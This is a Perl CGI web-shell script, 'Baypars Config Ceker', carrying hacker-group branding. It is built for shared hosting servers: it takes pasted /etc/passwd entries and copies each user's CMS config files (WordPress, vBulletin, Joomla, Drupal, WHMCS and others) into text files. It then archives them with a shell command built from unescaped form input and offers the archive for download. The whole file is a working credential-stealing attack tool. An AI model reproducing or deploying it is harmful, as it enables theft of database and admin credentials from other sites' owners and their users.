#!/usr/bin/perl -I/usr/local/bandmin
print "Content-type: text/html\n\n";
print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<center>
<head>
<meta http-equiv="Content-Language" content="en-us" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Baypars Config Ceker</title>
<style type="text/css">
body
{
background-color:black
}
#baslik
{
width:650px;
height:310px;
margin:0 auto;
background-image: url(http://qha.com.ua/resim//2013/09/20/665558a035769aea0dc0ff4e0dba6df6.jpg)
}
#alver,#alverr
{
width:530px;
height:5px;
margin:0 auto;
background-color:darkorange
}
label
{
color:lightgreen;
text-align:center;
font-family:Arial;
margin:0 auto;
font-size:11px;
font-weight:bold;
}
input
{
color:red;
text-align:center;
font-family:Arial;
margin:0 auto;
font-size:11px;
font-weight:bold;
}
#imzam
{
color:yellow;
text-align:center;
font-family:Arial;
margin:0 auto;
font-size:11px;
font-weight:bold;
}
</style>
<div id="baslik"></div>
</head>
';
sub lil{
($user) = @_;
$msr = qx{pwd};
$kola=$msr."/".$user;
$kola=~s/\n//g;
system('cat /home/'.$user.'/public_html/vb/includes/config.php>',$kola.'_vbulletin.txt');
system('cat /home/'.$user.'/public_html/includes/config.php>',$kola.'_vbullletin_1.txt');
system('cat /home/'.$user.'/public_html/config.php>',$kola.'_phpbb_2.txt');
system('cat /home/'.$user.'/public_html/forum/includes/config.php>',$kola.'_vbulletin_3.txt');
system('cat /home/'.$user.'/public_html/admin/conf.php>',$kola.'5.txt');
system('cat /home/'.$user.'/public_html/admin/config.php>',$kola.'_phpbb_4.txt');
system('cat /home/'.$user.'/public_html/wp-config.php>',$kola.'_wordpress_13.txt');
system('cat /home/'.$user.'/public_html/blog/wp-config.php>',$kola.'_wordpress_14.txt');
system('cat /home/'.$user.'/public_html/conf_global.php>',$kola.'6.txt');
system('cat /home/'.$user.'/public_html/include/db.php>',$kola.'7.txt');
system('cat /home/'.$user.'/public_html/connect.php>',$kola.'8.txt');
system('cat /home/'.$user.'/public_html/mk_conf.php>',$kola.'9.txt');
system('cat /home/'.$user.'/public_html/configuration.php>',$kola.'_joomla10.txt');
system('cat /home/'.$user.'/public_html/include/config.php>',$kola.'12.txt');
system('cat /home/'.$user.'/public_html/joomla/configuration.php>',$kola.'11.txt');
system('cat /home/'.$user.'/public_html/whm/configuration.php>',$kola.'15.txt');
system('cat /home/'.$user.'/public_html/whmc/configuration.php>',$kola.'16.txt');
system('cat /home/'.$user.'/public_html/support/configuration.php>',$kola.'17.txt');
system('cat /home/'.$user.'/public_html/inc/db.php>',$kola.'18.txt');
system('cat /home/'.$user.'/public_html/db.php>',$kola.'19.txt');
system('cat /home/'.$user.'/public_html/includes/class_core.php>',$kola.'_vbulletin_20.txt');
system('cat /home/'.$user.'/public_html/datas/config.php>',$kola.'_seditio_21.txt');
system('cat /home/'.$user.'/public_html/sites/default/settings.php>',$kola.'_drupal_22.txt');
system('cat /home/'.$user.'/public_html/Settings.php>',$kola.'_smf_23.txt');
}
if ($ENV{'REQUEST_METHOD'} eq 'POST') {
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
} else {
$buffer = $ENV{'QUERY_STRING'};
}
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$name =~ tr/+/ /;
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$FORM{$name} = $value;
}
if ($FORM{pass} eq ""){
print '
<body class="newStyle1">
<font color="yellow">
<p>B3yaz.ORG Anti-Armenia.ORG</p>
<p>#Added Cat Bypass#</p></font>
<form method="post">
<textarea name="pass" style="width: 543px; height: 420px"></textarea>
<br />
<input name="tar" type="text" style="width: 212px" /><br />
<input name="Submit1" type="submit" value="submit" style="width: 99px" /><br />
</form>';
}else{
@lines =<$FORM{pass}>;
$y = @lines;
open (MYFILE, ">tar.tmp");
print MYFILE "tar -czf ".$FORM{tar}.".tar ";
for ($ka=0;$ka<$y;$ka++){
while(@lines[$ka] =~ m/(.*?):x:/g){
&lil($1);
print MYFILE $1.".txt ";
for($kd=1;$kd<18;$kd++){
print MYFILE $1.$kd.".txt ";
}
}
}
print'<body class="newStyle1">
<p><font color="yellow">Kontrol Et !</font></p>
<p> </p>';
if($FORM{tar} ne ""){
open(INFO, "tar.tmp");
@lines =<INFO> ;
close(INFO);
system(@lines);
print'<p><a href="'.$FORM{tar}.'.tar">Click here 2 download tar file</a></p>';
}
}
print"
</body>
</center>
</html>";
